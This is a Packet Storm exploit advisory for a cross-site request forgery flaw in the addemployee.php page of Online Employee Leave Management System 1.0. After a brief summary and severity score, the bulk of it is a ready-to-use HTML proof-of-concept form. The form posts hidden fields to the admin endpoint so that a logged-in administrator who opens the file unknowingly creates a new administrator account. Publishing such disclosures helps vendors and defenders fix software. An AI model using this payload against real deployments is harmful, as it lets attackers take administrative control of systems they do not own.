what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Online Employee Leave Management System 1.0 Cross Site Request Forgery

Online Employee Leave Management System 1.0 Cross Site Request Forgery
Posted Sep 6, 2022
Authored by Amolo Hunters

Online Employee Leave Management System version 1.0 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | 0710715d45689c909a85c5900c640070b5bf1573e0e7b5eaa10c502265e786a4

Online Employee Leave Management System 1.0 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: Online Employee Leave Management System 1.0 - Cross-Site Request Forgery (addemployee.php)
# Date: 05/09/2022
# Exploit Author: Amolo Hunters
# Software Link: https://www.sourcecodester.com/php/15374/online-employee-leave-management-system-php-free-source-code.html
# Version: 1.0
# Tested on: Linux

Title:
================
Online Employee Leave Management System 1.0 - Cross-Site Request Forgery (addemployee.php)

Summary:
================
The Online Employee Leave Management System suffers from a vulnerability called Cross-Site Request Forgery that affects the addemployee.php application used to add employees with administrative privileges. By failing to block against this attack, malicious users can take advantage of this weakness to spoof a request leading to the creation of a new account with administrative privileges.

Severity Level:
================
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Affected Product:
================
Online Employee Leave Management System v1.0

Steps to Reproduce:
================

1. Create an HTML file and paste the following code:

<html>
<title>Online Employee Leave Management System (addemployee.php) CSRF PoC</title>
<center>
<h1>Online Employee Leave Management System (addemployee.php) CSRF PoC</h1>
<p>by Amolo Hunters</p>
<form action="http://target.com/elms/admin/addemployee.php" method="POST">
<input type="hidden" name="empcode" value="1337" />
<input type="hidden" name="firstName" value="AmoloHT" />
<input type="hidden" name="lastName" value="PoC" />
<input type="hidden" name="email" value="amoloht@poc.com" />
<input type="hidden" name="password" value="hacker123" />
<input type="hidden" name="confirmpassword" value="hacker123" />
<input type="hidden" name="gender" value="Other" />
<input type="hidden" name="dob" value="3 June, 2022" />
<input type="hidden" name="department" value="Information Technology" />
<input type="hidden" name="country" value="Brazil" />
<input type="hidden" name="city" value="PoC" />
<input type="hidden" name="address" value="PoC" />
<input type="hidden" name="mobileno" value="0000000000" />
<input type="hidden" name="add" value="" />
<input type="submit" value="Submit request" />
</form>
</center>
</html>

2. Save the file and run it in the browser
Note: you need to be logged in as an administrator
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close